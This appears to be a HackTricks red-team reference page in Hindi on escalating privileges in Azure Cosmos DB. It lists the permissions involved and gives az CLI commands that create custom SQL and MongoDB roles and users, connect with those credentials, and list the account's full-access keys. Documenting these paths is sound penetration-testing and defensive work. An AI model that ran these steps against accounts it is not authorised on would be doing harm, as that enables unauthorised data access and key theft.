Az - CosmosDB Privesc

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

CosmosDB Privesc

SQL Database के बारे में अधिक जानकारी के लिए देखें:

Az - CosmosDB

(Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write, Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read) & (Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write, Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read)

इन अनुमतियों के साथ आप एक उपयोगकर्ता को क्वेरी निष्पादित करने और डेटाबेस से कनेक्ट करने के लिए अनुमतियाँ देकर विशेषाधिकार बढ़ा सकते हैं। सबसे पहले एक परिभाषा भूमिका बनाई जाती है जो आवश्यक अनुमतियाँ और दायरे देती है।

bash
az cosmosdb sql role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<Random-Unique-ID>", # For example 12345678-1234-1234-1234-123456789az
"RoleName": "CustomReadRole",
"Type": "CustomRole",
"AssignableScopes": [
"/subscriptions/<subscription_id>/resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/<account_name>"
],
"Permissions": [
{
"DataActions": [
"Microsoft.DocumentDB/databaseAccounts/readMetadata",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*"
]
}
]
}'

इसके बाद परिभाषा का असाइनमेंट एक उपयोगकर्ता को दिया जाता है। इसके बाद वह उपयोगकर्ता DefaultAzureCredential() कनेक्शन विधि का उपयोग करके क्वेरी निष्पादित कर सकता है।

bash
az cosmosdb sql role assignment create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--role-definition-id <Random-Unique-ID-used-in-definition> \
--principal-id <principal_id-togive-perms> \
--scope "/"

(Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write && Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read)&& (Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write && Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read)

इस अनुमति के साथ, आप Azure Cosmos DB खाते के भीतर नए MongoDB भूमिका परिभाषाएँ बना सकते हैं। यह MongoDB उपयोगकर्ताओं के लिए विशिष्ट अनुमतियों के साथ कस्टम भूमिकाएँ परिभाषित करने की अनुमति देता है। इसका उपयोग करने के लिए RBAC कार्यक्षमताएँ सक्षम होनी चाहिए।

bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'

आप Azure Cosmos DB खाते के भीतर नए MongoDB उपयोगकर्ता परिभाषाएँ बना सकते हैं। यह MongoDB डेटाबेस तक विशिष्ट भूमिकाओं और पहुँच के साथ उपयोगकर्ताओं की प्रोविजनिंग की अनुमति देता है।

bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "<myUser>",
"Password": "<mySecurePassword>",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'

उसके बाद एक नया उपयोगकर्ता MongoDB के भीतर बनाया जाता है, हम इसे एक्सेस कर सकते हैं:

bash
mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"

Microsoft.DocumentDB/databaseAccounts/listKeys/action

इस अनुमति के साथ, आप Azure Cosmos DB खाते के प्राथमिक और द्वितीयक कुंजी प्राप्त कर सकते हैं। ये कुंजी डेटाबेस खाते और इसके संसाधनों तक पूर्ण पहुंच प्रदान करती हैं, जिससे डेटा पढ़ने, लिखने और कॉन्फ़िगरेशन परिवर्तनों जैसी क्रियाएँ सक्षम होती हैं।

bash
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें